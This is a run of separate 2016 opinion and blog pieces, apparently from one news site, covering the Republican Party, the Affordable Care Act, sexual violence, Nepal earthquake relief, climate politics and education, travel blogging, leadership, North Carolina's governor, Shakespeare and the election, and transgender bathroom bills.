"I have found it very difficult to support the Republican Party, with the attractive free market ideals clouded in divisive rhetoric and obstructionist tactics. As a gay person, I have also been repelled by the Party's socially conservative agenda. If the Republican Party wants to survive and gain the support of my generation, it needs to become the party of Reason. My generation is largely nonreligious, supportive of our diverse citizens (including race, sexual orientation etc.) and solution focused. I hope that Republican leaders will consider this going forward. Now is the perfect time to reinvent the Party."

John's final statement defines the greatest challenge facing the GOP. Polls show a 90% disapproval rate by the base of a seemingly clueless establishment and the donor class has been largely reduced to plutocrats and corporations. Yet even with these seismic faults, the bottom line for every politician is to get elected or re-elected. That means our votes are still the ultimate arbiter and reclaiming and renewing the party starts at the ballot box. And while this presidential campaign has left many Republicans feeling disheartened, disillusioned or even disgusted, there are races for Governors, Senators, Congressmen and state and local officials, that call for practical, commonsense leadership.

Speaking directly to Young Americans, you must not only take part in the electoral process, but also select and support the next generation of politicians, who will better reflect the nation's shifting ideologies and changing demographics. If we don't capitalize on your civic engagement, we may lose those of you who were primed for public service -- and JFK's clarion call in 1961 to "ask not what your country can do for you, ask what you can do for your country" will become a quaint memory in a history textbook.

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The disturbing news item of the past week -- assuming we discount the increasingly routine reports of terrorist bombings, boats packed with desperate migrants capsizing, the global temperature relentlessly rising, and Russian military bombast -- is that the nation's largest health insurer, United Health Care, is withdrawing its involvement in the state exchanges of the Affordable Care Act, aka Obamacare. United is opting out due to the high costs of participation, and their departure effectively passes those costs along to other insurers, and of course, to us, the insured. The citizens in states where United was an important option will now have fewer options, and likely face higher premiums and/or deductibles.

Detractors of the ACA perhaps see this as something of a vindication, but the details behind this story suggest that is very misguided. The high costs to United of involvement in Obamacare are really all about sick people getting care they actually need. The very point of the Affordable Care Act is to bring coverage, and thus access to care, to those formerly left out entirely. It is, apparently, working.

The result is that people for whom health insurance was formerly out of reach now have a way into the system -- for themselves, and the costly baggage of their neglected pathology.

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That is the prevailing speculation about United's financial woes. The population gaining access via the ACA tends to be poorer, and sicker. Since this is a group that traditionally did not have health insurance, they have, in many instances, foregone care whenever possible. Any insurer that is the first point of entry for this group will encounter the pent-up need they have borne, and the costs attached to addressing it.

We can speak in terms of baggage, pathology, and costs if we approach this topic from the perspective of United executives, or financial analysts. But I am an unapologetic humanist, and I much prefer to use alternative language, and put human faces to this. We are talking about suffering and stoicism; forbearance, and foreshortened lives. We are talking about people who neglect their health, and maybe even that of those they love, because they can't afford to do otherwise.

I have at times seen the faces of those caught up in this narrative. In one terribly tragic case, a member of a cousin's family -- and thus, arguably, a distant member of my own -- died at 34 of melanoma. Let's call him John.

He first noticed the abnormality on his skin when in-between jobs, and thus, without health insurance. In his early 30s, he didn't have cash reserves to pay out of pocket for medical care. So, he waited until once again employed, and once again insured, to have that skin lesion assessed. The wait proved lethal. During those months, the melanoma had metastasized. A system of portable health care coverage that transcended employment would certainly have save the life of this young man, only recently married.

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Then there was the case, many years ago, of a young mother -- let's call her Jane -- I met in a homeless shelter in New Haven. She, too, was in her early 30s, with a 4-year-old daughter at her side, when I saw her for an on-site "check up." She was severely limited by shortness of breath and heart failure, and would never be otherwise.

It need not have been so. A couple of years prior, she had developed a pain in her calf. I no longer recall the exact circumstances. The pain started out mild, but progressed, and became fairly severe. It was like nothing she had experienced before. Any of us, with a severe, unexplained pain in our leg, would have gone to see a doctor. She did not, because she had no insurance, and no doctor. A doctor visit for her meant finding something to do with her daughter while she spent many hours waiting to be seen in the emergency department. She tried her best to avoid that, by toughing it out.

That proved a tragic mistake. The pain in her leg was a blood clot called a DVT. As they inevitably due when neglected, the clot broke, sending fragments into her lungs, called a PE. Blockages in her lung were life threatening, and resulted in a 911 call, a trip to the hospital by ambulance, emergency care, and a stay in the ICU. The inconveniences the patient hoped to avoid were, obviously, massively amplified. The damage to her heart and lungs was permanent, so her health, and thus her life, were ruined. And, the costs to the system were vastly higher than earlier care of the leg would have been in the first place. Everyone lost.

John and Jane, and the millions like them, are the rebuke to those who see United's reticence as the basis for an "I told you so" about Obamacare. United doesn't like the costs, but it's not as if those costs weren't with us all along. People like John and Jane have been paying them, and generally without the option United has of saying: no thanks. They have paid with years lost from their lives, and life lost from their years.

One potential solution to this, routinely brandished heresy here in the U.S., is a single payer system. Ironically, many of those who see this as radical, heretical, and anathema are quite adamant about the protection of Medicare, which is, of course, a single payer system for those 65 and older. If Medicare worked like the private system, then perhaps it would cite the high costs of care in Florida, where a lot of older (and all too often sick) people settle -- and withdraw from the state. If we don't like the idea of our older relatives in Florida being abandoned by their health insurer, perhaps we might choose to see the United disengagement from the ACA through that same lens. Maybe health insurance really should be a universal right, not a business decision.

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I favor universal access to our so-called "health care" system, and thus, something more like Medicare for all. Colleagues and I have published a detailed model that differentiates the elements of care that should be a human right, from those that are reasonably discretionary. I see no heresy in the mix, but if others do -- well, vive la difference.

The greater opportunity, however, is not limited to how we cover the costs of caring for pathology that needn't have developed in the first place 8 times in 10. It is in preventing it. That requires turning what we have long known about lifestyle as medicine into what we do. It requires a cultural and political commitment to actual "health" care, rather than just after-the-fact disease care. Bluntly, it requires the honesty to acknowledge that a culture lamenting the high and rising prevalence of diabetes in its youth, while continuing to peddle at every opportunity soda, toaster pastries, and multi-colored marshmallows as part of a complete breakfast -- reeks of hypocrisy.

As for the status quo, United is a business, and has the option of renouncing its high costs. The people paying for business as usual with their lives -- do not.

-fin

Director, Yale University Prevention Research Center; Griffin Hospital

President, American College of Lifestyle Medicine


(S.A.A.M. t-shirts on display at Tulane University)

After someone I love opened up to me about their sexual assault, they stated something that has stuck with me ever since, informing my research and spurring me to action: "Sexual violence is ruthlessly democratic."

I thought about my own experiences, the narrative I had just bore witness to, and the too-many friends and past partners who had shared stories of abuse and violence. I considered the statistics--one in five women and one in 71 men will be raped at some point in their lives; 63 per cent of sexual assaults are not reported to the police for fear of stigma, retaliation, blame and other reasons.

Sexual violence encompasses everything from child sexual assault to partner rape, from sexual harassment to sexual exploitation. As my loved one suggested, it "happens to people of all ages, races, genders, sexual orientations, religions, professions, incomes, and ethnicities."

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This month's Sexual Assault Awareness programming by the National Sexual Violence Resource Center focuses on "prevention," calling us all to action by outlining the lasting impact of this violence on "loved ones," "communities," and "society," in addition to survivors. They tell us that, even if we don't believe we are impacted by this phenomenon, sexual violence creates "a climate of violence and fear" that threatens our "critical societal structures."

The Center is an important institution for our society, and I appreciate their presence and much of their message. However, we need to take a step back and consider how and why sexual violence is "ruthlessly democratic" in our society. We cannot protect our critical societal structures without changing them, because they maintain the system we must confront if we truly want to prevent sexual violence in America: capitalism.

As a feminist sociologist, I believe that gender is a social structure, and that society's equation of biological sex (man versus woman) with this construct is both the product and producer of our unequal capitalist society. The gender binary defines specific qualities, such as strength and logic, as masculine, while being nurturing and emotional are seen as feminine. These traits are assumed to line up with biological sex, leading to common notions that distinguish "men" and "women." Establishing this binary was especially important during industrialization, because it justified a capitalist society in which men went to work in the public space, and women stayed home and produced children--or future workers and mothers--in the private space. Within this gendered, classed social structure, certain masculinities and femininities are rewarded, while others are sanctioned if they do not fit with the norm or help advance society's main interest--further capital accumulation for those in positions of power.

***

Over the past few years, narratives of sexual violence have been reported on, demanded to be heard, exposed, and ignited conversation in digital and physical spaces. In 2014, survivors of assault on campuses nationwide found solidarity, community, and support, in the invocation of Title IX by Annie E. Clark and Andrea Pino, two former students at UNC Chapel Hill. This movement sparked the documentary The Hunting Ground, written, directed, and produced by Kirby Dick and Amy Ziering, who previously examined sexual assault in the military in 2012 with The Invisible War.

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Lady Gaga came out as a survivor and performed her new song from the film, "Til it Happens to You," at the 88th Academy Awards amidst a sea of survivors. Last fall, Viola Davis shared the impact of her sister's childhood sexual assault on her and her family. Mary Lambert uses her music and platform to speak out about sexual violence and its impact in her own life. During the first week of S.A.A.M., Kesha took to social media to share that Sony offered her a contract release--if she revoked her allegation that her producer, Dr. Luke, repeatedly sexually assaulted her.

Dick and Ziering suggest that sexual violence is an institutional problem in both of their films, but they also fuel the rhetoric that "not all men rape" and that those who do tend to be repeat offenders. If we consider sexual violence and the gender construct as key ways our unequal system is maintained, we can shift the narrative, taking the onus from "all men," too, while offering the opportunity to see how masculinity and femininity are sold, embodied, enforced, and invoked in instances of violence.

***

Public and private narratives are critical in our quest to prevent sexual violence. These experiences have common threads, and yet we engage in divided conversations that aren't representative of broader structural problems in our society. We must consider gender as a social structure implicated in our everyday relations, instead of something that we all innately "have" from birth. We must consider the ways in which silencing tactics and power are used to maintain our gendered relations and allow sexual violence to continue.

We threaten the system when we question and resist binaries, their origins, and the social structure that produces and is produced by them. We are at a critical moment in our country where we can no longer see things in black and white--our current presidential election is proof of this, with candidates like Sanders and Trump forcing us to question our bipartisan system. Recent attention to trans* issues in public and in policy is further evidence of this. Now, in order to end sexual violence as an epidemic in America, we need to read between the lines and consider the connections between gender, class, and power.

***

Read about the theories behind "gender as a social structure" here, then join the conversation to shift the paradigm: #RuthlesslyDemocratic

___________________
Blair Glencorse, founder of Accountability Lab, and Pranav Budhathoki, founder of Local Interventions Group, are Echoing Green Fellows working in Nepal. Follow their work on Twitter: @accountlab and @LIGintl.

Like so many others in Nepal, Butti Gyalbo Taamangni suffered heartbreak after the devastating twin earthquakes that struck the Himalayan country last April, which killed over 8,000 people and displaced almost 3 million more. She lost her husband during the first quake, a loss compounded by two other critical problems. He was the only wage-earner in the family, so her income dried up immediately; and she was undocumented, so was not able to apply for any recovery support from the government.

At the Accountability Lab and Local Interventions Group, we had already developed youth networks across Nepal before the earthquake. So when it struck, we were determined to make sure that they were mobilized immediately to support the victims. The day after the disaster, we brought these young volunteers together into what we called Mobile Citizen Helpdesks. Initially, these groups helped to solve critical problems and ensure people like Butti received the care they needed. In her case, she was not able to write, so they helped her fill in the necessary forms to obtain a citizenship card. With that Butti was able to access disaster assistance from the government to rebuild her home and start a business. In the first few weeks after the disaster, our volunteers solved over 500 of these kinds of problems: reuniting families, supporting health facilities, and coordinating aid.

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We were also determined to make sure that unlike many other disaster recovery processes, the voices of citizens like Butti were truly heard as part of the international response. After all, it is to victims like her that all efforts should be accountable. So our helpdesk teams began to systematically survey communities on their needs. These perception surveysand the rumor tracking tools we paired with themhave become a critical input for the $4.4 billion recovery program.

Over the past nine monthswith the help of key supporters like Humanity United, Google, the OpenGov Hub, DfID, Global Giving, and Internewswe've reached over 795 communities and more than 60,000 citizens in 14 districts. The reports our volunteers create are full of useful data from the ground concerning issues such as compensation for victims, trust in government, and corruption in rebuilding. These are integrated into the coordination meeting led by the UN which has allowed the big agencies like Oxfam and World Vision to adapt their programming, making their work more effective in the places it has been needed most.

All of this has not been without its challenges. One big problem has been communicating back to communities about how the information they give us is being used. Making sure this happens is important to close the loop on our process and build trust in the idea of citizen feedback. To address this, we now host monthly community meetings with citizens in all the districts to let them know how the government and donors are responding to their concerns. With catalytic support from the Echoing Green collaboration fund, we publicize these meetings by broadcasting public service announcements through local FM radio stations (the best way to reach people in remote areas).

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The impact has been impressive. Meetings are well attended, often with hundreds of people showing up to listen in; and we are seeing noticeable positive changes in the satisfaction level of victims and their families with the support they are receiving. Over time, we hope that this kind of feedback process will become institutionalized so that communities can continue to push for service delivery and advocate for their rights. We are also now working to codify what we've done in Nepal as part of a Disaster Accountability Toolkit which can be used by other organizations after similar disasters elsewhere.

As the anniversary of the earthquakes approaches this month, progress is slowly being made in Nepal. Citizens like Butti are beginning to rebuild their lives and build systems to hold people in power accountable for the aid flowing into the country. We'll continue to support them until the job is done.
The Democratic presidential nominee will have a chance to frame the upcoming election as a referendum on whether our environment will be preserved in a hospitable state.

That opportunity arises because of the Republican Party's discredited, albeit official policy of denial of human-generated climate change and its threats to civilization. Representing an opposing view, the Democratic presidential candidate could caution voters that our future quality of life hinges on the election's outcome.

Assuming the Republican presidential nominee retains his party's climate change denial posture throughout the campaign, the Democrat, by contrast, would come across on "the side of the angels". A clarion call for support would be issued to a concerned public, with the odds favoring a positive response, especially among the younger set of all political persuasions. It is they, after all, who have the most to lose if the future environment goes precipitously downhill.

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Indeed, all Democratic candidates for national office should exploit the Republican Party's no-show attitude towards climate change's existential threat to mankind's wellbeing.

An ideal whipping boy for this campaign strategy is Senator James Inhofe, R-Oklahoma, the powerful chairman of the Senate Environment and Public Works Committee. Inhofe is the de facto environmental face of the GOP and has persistently sought to impede progress in addressing climate change.

Earlier this month on the Senate floor, he declared that President Obama's pledge at the recent historic Climate Change Conference in Paris "is not going to happen". The president had promised that the United States would reduce carbon emissions by some 25 percent over the next decade.

If the Republicans win the White House and retain control of both houses of Congress, Inhofe will undoubtedly keep is chairmanship and be in a position to make good on his prediction. The senator would also remain the environmental face of the GOP, a lawmaker steeped in climate change denial and often the source of diplomatic embarrassment. For example, he ridiculed the ceremonial signing of the Paris Climate change accord by more than 160 nations at the United Nations on Earth Day. Inhofe sarcastically invited the foreign dignitaries at the UN ceremony to sightsee America rather than waste their time signing a flawed document. It is a document that Inhofe rejects as part of "President Obama's detrimental agenda and attempt to bolster his personal legacy with empty promises."

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All great campaign fodder for the Democrats.

While a new Republican administration could not rescind Obama's commitment to the Paris accord overnight, it could sabotage the agreement in short order by withholding funding and remaining passive.

It is true that some progress in confronting climate change has occurred on our shores despite Republican intransigence. Solar and wind accounted for two-thirds of new electric power plants built in 2015. Moreover, 17 governors, including two Republicans (Iowa and Nevada) agreed to initiate programs to boost renewable sources of energy. Grassroots support for carbon emission reduction has been growing. Yet in the absence of astute leadership from the top on down, valuable time will be lost, with the possibility of irrevocable adverse consequences.


Global Kids Leader Digna Rosales testifying before the New York City Council's Education Committee in support of climate education Resolution 0375 on April 19, 2016.

The first Earth Day events took place across the United States on April 22, 1970. In New York City, Mayor Lindsay shut down Fifth Avenue for a march and participants congregated and rallied at Union Square Park. It was a major national event in response to the negative effects from industrialization on our environment. Waterways, like the Hudson River and Lake Erie, were severely polluted from the toxic waste dumping from factories along shorelines. Links between ubiquitous pesticides and cancer threatened public health. Oil spills were rampant.

I was too young to remember the first Earth Day. But as my education progressed in suburban public schools, I began to make connections between economics, the environment, and politics as world events unfolded. I was fortunate to have several excellent teachers who consistently brought current events into our classroom curriculum and discussions, beginning in elementary school and continuing through high school. The oil and energy crises of the 1970's made me conscious of the environmental and economic impact of fossil fuels as well as global interdependence. Acid rain directly threatened our water supply, fish and wildlife, and air quality and the pollution that caused it knew few boundaries. The toxic "Love Canal" in Niagara Falls highlighted the lack of regulation and accountability for corporate polluters, and the devastating impact that had on the poisoned residents in the vicinity. The list went on.

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There was so much to talk about and rather than shy away from what could be deemed as being too complicated for children to understand, several of my teachers throughout the years embraced the opportunity to integrate complex and controversial problems facing our world into their classroom. Today, as the world's scientists and leaders overwhelmingly recognize the threat of climate change and its devastating consequences, the time has come for our educational system to enter the 21st Century and teach comprehensive climate education.

That's why students from Global Kids (GK) have been campaigning for the past two years for comprehensive climate education to be included in New York schools' curriculum. They live in underserved communities in New York City, some that were devastated by Superstorm Sandy. Additionally, many GK students' families come from frontline nations, like Bangladesh and Honduras, which are experiencing the effects of climate change now. While they appreciate and value the benefits of learning "reduce, reuse, recycle," they know it's not enough. Climate education allows for a comprehensive approach to understand the causes and impacts of climate change. It integrates math, science, literacy, social studies, and current events and affords limitless opportunities to develop problem-solving, critical thinking, technology, and civic engagement skills with young people. It can broaden their understanding of career paths as they learn how engineers are working to address rising sea levels; how non-governmental organizations, diplomats, and world leaders negotiate policy to mitigate the effects of climate change; how scientists and conservationists are addressing threats to biodiversity; and how economists calculate and predict the micro and macro economic impact of climate change on our local and global economy; and more.

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Climate education also gives voice to those who will disproportionately feel its harmful impact as frontline communities are often poorer people, or people of color. The public needs to know how climate change will do more harm than simply make the weather warmer. They need to know that places like the Marshall Islands and Maldives will disappear and that rising sea levels will cause the displacement of millions of people in Bangladesh as well as the United States East Coast. Severe droughts will cause massive famine. Species will be wiped out, affecting the livelihood of people as well as the balance of nature. Countries will be fighting over dwindling resources. The political, economic, and humanitarian impact of climate change is real.

Unfortunately, students in the United States are not learning about climate change in classrooms. According to a recent survey in the journal Science, teachers were spending an average of one to two hours per school year on the topic of climate change.

In August 2014, Global Kids students partnered with NYC Council Members Costa Constantinides and Donovan Richards to introduce Resolution 0375, which calls upon the New York State Department of Education to include comprehensive climate education in the K-12 public school curriculum. Since then, GK students have been tirelessly campaigning for the resolution through emails, phone calls, social media, and meetings with city officials.

On April 19, 2016, 12 Global Kids high school students testified before the New York City Council's Education Committee. After listening to the students' powerful testimonies, the Committee unanimously voted to pass Resolution 0375. The next day, April 20th, the resolution went before the full New York City Council for a vote, and it was adopted.

While this resolution is non-binding, it is nonetheless powerful. The students will now take their campaign and this resolution to New York State officials that oversee curriculum, and will continue to push for educational policy and curriculum that is responsive to the world we live in and prepares them for the future. They refuse to be passive or accept the status quo. They are learning not only about climate change, but also how government works and how to have influence.

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Reduce, Reuse, Recycle. Absolutely. But it is not enough. As we celebrate Earth Day in 2016 by calling for climate education in schools, let us also teach students Engage, Empower, Enact.
If you clicked this article, chances are, you can relate to going on a trip, posting about it, and feeling the subconscious guilt from friends who commented, "ugggh, JEALOUS!" or "OMG, I want your life!" or my personal favorite, "I hate you!"

Ahhh, yes. Friends are great, aren't they?

You see, before I left my one-year home of Barcelona last July, I went on what turned into a crazy 4-month and 10-country spree around Europe and Southeast Asia with Busabout!



Nicosia, Cyprus

And while it was the first time I truly tried out the nomadic life, I got a taste of this new kind of travel envy my friends back home must've felt, as venturing into new countries every week became my norm.

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Of course it's never my intention to make someone feel like sh*t about their own lives, but I can no longer feel bad about simply sharing my life on social media in the same manner people do about the things they love (i.e. kids, significant others, dogs, cars, etc).

But to help ease the envy others might feel and to help you better prepare for your own trip abroad, and the reaction others might have about it, here's a quick 5-step guideline.

STEP 1: DON'T ANNOUNCE YOUR TRAVEL PLANS



Bangkok, Thailand

Because there's nothing more climatic than one day posting from Phoenix, Arizona and the next day from Bangkok, Thailand.

Yes, that's right.

Simply show up to your destination and let that be your travel announcement to everyone, that you're indeed on vacation.

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Nothing that really channels genuine happiness like a good ol' surprise! ;)

STEP 2: POST AN UNFLATTERING PICTURE



Picking my wedgie in Nha Trang, Vietnam

Seriously. Post a picture that's almost perfect, but where there's just enough room to show that you're still human.

That way it leaves room for them to criticize you and still feel good about themselves.

Wow, Glo. You couldn't at least do your hair while in Thailand? I mean, sheesh!

STEP 3: MAKE SURE TO TURN YOUR LOCATION ON WHEN YOU MAKE A FACEBOOK STATUS TO SUBTLY REMIND THEM YOU'RE STILL NOT BACK HOME



Ohhh, le struggle of Cyprus livin'.

And right when they feel good about your jacked up hair, that's when you post that nonchalant status from *insert exotic location here*. With good intentions, of course.

STEP 4: POST AROUND THE TIME THEY ARE CHECKING IN TO WORK



London, UK

So you're a few days into your vacation and they've stopped liking your pictures, because it's now apparent -- they hate chu cuz they ain't chu. But it's all good, yo.

Because you're about to post that stunning sunset picture from the top floor of The Shard, while they're barely beating rush hour to play the Eye Roll Game with their boss and incompetent co-workers.

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But of course, the sunset picture is just because you want them to know you're still alive and healthy, in the case there was a lingering concern.

STEP 5: UPON YOUR RETURN, POST #TBTs OF YOUR VACATION UNTIL YOUR NEXT TRIP

A post shared by Glo | TheBlogAbroad.com (@glographics) on Feb 9, 2016 at 2:21pm PST

Because nothing says, "I'M COUNTING DOWN THE DAYS UNTIL MY NEXT VACATION" like posting TBTs of your last vacation until... well, your next one.

--

But in all seriousness, it's so easy to allow social media to serve as a long reel of comparisons of everyone else's lives to ours.

And after a while, I've learned to make a conscious effort to not only try and share my experiences in a way that make people feel like I'm bringing them with me, but to share information that could help them start traveling too!

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The minute we see one of our friends doing something, it makes it that much more believable and realistic that we could do that too! And that's what it's truly about. The empowerment.

So friends near and far, know that I was once stuck behind a screen, staring at travel photos all day long, planning my escape, until I was finally able to make it happen. And if that's what you want for your life, good news!

I'll be posting soon about the easiest ways to start traveling/living abroad! And if you're way too anxious and think travel blogging might be your calling too, then check THIS out!

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About the Author:

Gloria Atanmo is an American Travel Blogger and Digital Storyteller at TheBlogAbroad.com where she recounts her experiences from around the world. With over 30 countries under her belt, she hopes to continue educating, empowering, and inspiring others to start their own journeys abroad.
leadership flow chart written...

Every one has advice to give.

But not every one has advice worth listening to. Some of the worst advice I was ever given was, "wait for opportunity." Unfortunately, opportunity waits for no one. Opportunity doesn't just fall out of the sky either, nor is it handed to you, as some like to think.

Opportunity comes by creating it. The most successful of CEOs, entrepreneurs, and average Americans will tell you that.

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Some of the best advice I was ever given was from my father.

"Work together as a team, with each team member being a finger on a hand," my father would tell me. "When clenched together, you have great force. Unless you're Bruce Lee, you can't hit very hard with a single finger."

In short, if I wanted something bad enough, I had to work hard for it and develop a team that had the same goals in mind.

It's one of my favorite life lessons on success my father instilled in me. Some of his other lessons I've already passed on to my children. My children understand that success is more than accumulating material things.

Success comes from a unique combination of knowing where you've come from, where you want to go, your goals, knowledge, commitment, personality, etc. That combination has allowed me to successfully invest in a great number of industries.

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There are no shortcuts to anything in life. And if you think there are, you're in for some very tough life-lessons. Life isn't about possessions or money. It's about people. It's about working hard because nothing worth having will be handed to you.

I learned to work hard at an early age. My father worked long hours, doing the job right the first time. He's a person of integrity, never one to look for handouts or the easy way out. I learned to set priorities and allocate my time and resources. Most of all, my father taught me to give of myself. Here are some key qualities that every good leader should possess and learn to emphasize.

No. 1 - Have Credibility

Once you lose the trust of your audience, it's gone. It's tough to gain it back. Know your business inside and out. The last thing you want is to get caught with your pants down when you can't answer a simple question about your own business. And always be ethical in your business approach and in the way you conduct business.

No. 2 - Accept that Failure is a Necessity

Success isn't a guarantee. Not all rock stars were born with the voice of Robert Plant. Not all of us can perform brain surgery or be a rocket scientist. The truth is, we may not succeed right out the gate, or at all for that matter.

As discouraging as that may sound, we must accept failure as a necessity. It's okay to fail. But it's not okay to give up on what you hope to achieve. According to Bloomberg, eight out of every 10 entrepreneurs will fail in the first 18 months of whatever endeavor they set out to take on.

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But it's the person with an unquenchable drive that gets up and tries again. The key to succeeding and not allowing that 80 percent statistic to scare you is your acceptance to take on necessary risk. At one point, Thomas Edison was told he was too 'stupid' to learn anything.

He went on to hold 1,000 patents and create the phonograph, an electric lamp, and the movie camera. Walt Disney was once fired and told he lacked 'imagination' and had 'no good ideas'. Steven Spielberg was rejected from the University of Southern California School (USC) school of Cinematic Arts countless times.

But, as billionaires like Mark Cuban will tell you, "It doesn't matter how many times you fail. It doesn't matter how many times you almost get it right. No one is going to know or care about your failures, and neither should you. All you have to do is learn from them and those around you because all that matters in business is that you get it right once. Then everyone can tell you how lucky you are."

Bottom line - Even if we're 80 percent likely to fail at something, take the chance and try anyway. We only live once. Make it mean something.

No. 3 - Remember that People are Most Important

If you're difficult to work with, you'll be thought of as someone to avoid like the plague. No one wants to work with a person like that - and trust me, I've dealt with plenty of those people.

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Treat people as you would like to be treated. When it comes to business, it's not about making money. It's about treating people right and always doing what's right. It's about the compassion you have for others and your willingness to be there and put their feelings first. Respect your team, your public, your investors, and the people that make your business possible. Profits will follow as long as you take care of others.

That's why I have an open door policy. Transparency above all else is essential if you want to be a success.

No. 4 - Protect your Standing

Failure to protect yourself, your name, your standing in society can hurt you for years after the fact. Your reputation is your most important asset. The moment it's tarnished you stand to lose everything - customers, sales, partners, and eventually your business.

Always be proactive and aware of what is and has been said about you in the press. Failure to do so, failure to counter what has been reported, could cost you customer trust.

Trust and the loyalty that comes with it is one of the most essential parts of business. Keeping your promises, under-committing and over-delivering, communicating often, and looking beyond initial targets is a winning formula for a successful outcome.

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If you really want to impress someone and gain trust, make promises you can keep.

No. 5 - Know how to Manage Growth

By all means, grow and expand, but make sure you can adequately manage all facets of your business and be cognizant of what's impacting the bottom line.

If you find that your business expenses are outweighing revenue, there's a problem. If you find that you - or your employees - are unhappy and overworked, it may be a sign of not keeping up with growth.

Never believe that sales growth is the most important rule. Never lose touch with your customers.

No. 6 - Surround yourself with Success

The sooner you come to the realization that you're 'not perfect' the sooner you will have 'success' knocking at your door. As we grow professionally and personally, we need to reach out to others for help. I do it all the time with a great team (I hope I tell them that often enough because they truly are).

If it weren't for my family, the marketing team, sales staff, accountants, legal counsel, IT support, or just an old friend that tells me some of my decisions are off base without the fear of retribution, I, and many of us for that matter, wouldn't be successful.

The best quality a great leader can have is realizing he or she can't take on the world without some additional help. Unless you surround yourself with others that make up for any shortfalls you may have, you begin to limit your capabilities as an effective leader.

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Embattled North Carolina Governor Pat McCrory recently missed his chair and got paddled by the floor. Although we all make mistakes (I've had some floor paddlings myself), not Governor McCrory. He blamed it on the chair: "These things got wheels on them!" I'd submit this blunder and blame shifting is typical McCrory (except the pain this time was his alone). By now, it almost seems standard procedure. McCrory makes a mistake and then he directs the blame elsewhere. Pat blames a patsy. Let me give three more examples of what I mean. First, we all of course know about HB 2. McCrory claims that this bill and all the damage it is now inflicting on North Carolina is someone else's fault. His patsies include the city of Charlotte and those who would "slander" North Carolina (whoever in the world that might truly be). However, with better aim of his arm than of his rear, he quickly signed that bill. He therefore assured its swiftest passage. Because of that signature, there is now no state cause of action for religious or other discrimination in North Carolina not to mention all the other damage done by that bill. Despite his claims to the contrary, this was Pat's act and not some patsy's. His signature made HB 2 law.

Finally, I'd like to give a patsy McCrory example that many outside the currently-affected area may not know about. McCrory's administration is pushing full speed ahead with a toll road project that would be unbelievable were it not true. Unfortunately, the incredible here is all too true. It also isn't something that the rest of the country can ignore at a safe distance. It's an example of what those like McCrory would foist on the rest of us if we let them. So far, McCrory is letting the project proceed despite overwhelming local disapproval. What is this project of which I speak? Briefly, and as best I can sort it out, it involves a contract with a Spanish company to add toll lanes to a critical roadway, I-77 which connects Charlotte with quickly growing and frankly wonderful areas North of Charlotte including Lake Norman. Under the terms of the contract (which will last for 50 years), the State is handing over to the Spanish company some HOV lanes in each direction that the state built and paid for and the Spanish company is building (with financial assistance from North Carolina and a federally-backed loan) additional lanes in each direction. The Spanish company will then be able to charge variable so-called "market-rate" tolls on "its" lanes. Those varying tolls will somehow be determined based on current traffic. Drivers thus won't know from time to time just how much those tolls will be. If all that doesn't sound crazy enough, North Carolina has guaranteed minimum sums to the Spanish company and has further agreed not to build competing lanes for the fifty year period. For those wishing more details than I can give here, a good place to start is here. Also, if I have gotten any of this tangled mess wrong despite my best efforts, I'm of course happy to correct it. Of course, McCrory refuses to budge on the contract since he unsurprisingly maintains that this (like so much else under his watch) is not his fault. Since McCrory won't help, pending litigation seems the only hope at this point. (It also seems the only hope of understanding what if anything else is going on beneath the surface here. I hope the lawyers are engaged in vigorous discovery.)



I have elsewhere discussed a favorite McCrory form of political dissembling which I have called the "McCrory." See here. I suggest we give this shifting of blame a name as well. Let's call it the "Patsy." That seems logical to me: there's a Pat in McCrory and "Patsy" both.
Former U.S. Senator Bob Torricelli recently gave a nod to William Shakespeare when he paraphrased his "Friends, Romans, Countrymen" speech from Julius Caesar: "We've come not to bury Bernie Sanders, but to praise him."

The Bard of Avon might have appreciated this shout out, 400 years after his death on April 23, 1616. He was an extraordinary playwright and poet, but also a keen analyst of leadership. As a preacher, I admire his skill with language. But as a citizen, I am grateful for his political insights.

So what would Shakespeare think of the presidential race of 2016? In many ways, it has become a Shakespearean comedy and tragedy, filled with deeply flawed protagonists across the political spectrum. The attitude of many Americans is captured by the words of Mercutio in Romeo and Juliet, "A plague o' both your houses."

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In Julius Caesar, Shakespeare explored the relationship between charismatic leaders and the people of Rome. Perhaps this is why Torricelli alluded to the "Friends, Romans, Countrymen" speech. More interesting is the fact that the play Julius Caesar was first performed when the people of England were adjusting to life under a powerful women, Queen Elizabeth I. Shakespeare might assign Hillary Clinton the line spoken by Cleopatra in his play Antony and Cleopatra, "Give me my robe, put on my crown; I have immortal longings in me."

How about a verse for Donald Trump? Shakespeare's words from Macbeth seem to fit: "Vaulting ambition, which o'erleaps itself / And falls ...." Ted Cruz has "a lean and hungry look" that is criticized by Julius Caesar, and seems to be off-putting to some voters today. Paul Ryan's refusal to be considered as the Republican candidate brings to mind Shakespeare's words from Hamlet, "The lady doth protest too much, methinks."

But Shakespeare also had praise for leaders he admired, in particular King Henry V. In the play Henry V, the king achieves a spectacular victory against the French in the Battle of Agincourt, and Shakespeare explores the qualities that made this triumph possible. In particular, Shakespeare describes the king listening carefully to his people, allowing them the freedom to follow him into battle (or not), and placing their challenges in historical context. These qualities are sorely lacking in many political leaders today.

Ken Adelman, director of the U.S. Arms Control & Disarmament Agency during the Reagan administration, now teaches Shakespeare to executives through his company "Movers & Shakespeares." "Henry painted a vision of what success looked like," said Adelman to the Wharton School. "He spoke of God, and never mentioned the word 'defeat.' He talked about children being proud of their fathers who fought in this battle. He said 'we are a band of brothers' and he is one of them. He connected to the mission and to the people."

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Shakespeare's King Henry never called people losers for not following him into battle. In fact, he gave them an out, saying, "That he which hath no stomach to this fight / Let him depart; his passport shall be made / And crowns for convoy put into his purse." This statement had the effect of making his soldiers even more passionate about their cause, and many followed him into battle with the confidence that their brave deeds would be remembered in English history forever.

In fact, the words of Henry V were read by Laurence Olivier on an English radio program to boost morale during World War II. Later, Stephen Ambrose's book on the war was titled Band of Brothers, quoting the words of Henry V, "we happy few, we band of brothers."
Transgender Sign, Gray and White Sign with a woman, male and transgender symbol

Controversy over transgender people's access to public bathrooms are not new -- Arizona had a bathroom bill fight back in 2013. But the issue has risen to prominence in the past few weeks because of the recent hubbub in North Carolina, where the backlash to the bathroom bill led Bruce Springsteen and Bryan Adams to cancel concerts, PayPal and Deutsche Bank to cancel planned expansions and porn site XHamster to shut down access from North Carolina-based IP addresses. The consequences for North Carolina may even include the loss of over $4.3 billion dollars in federal education funding.

Why, despite the economic and legal consequences, do states like North Carolina fight so hard to prevent transgender people from peeing?

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So let's talk about some little girls who need to be protected.

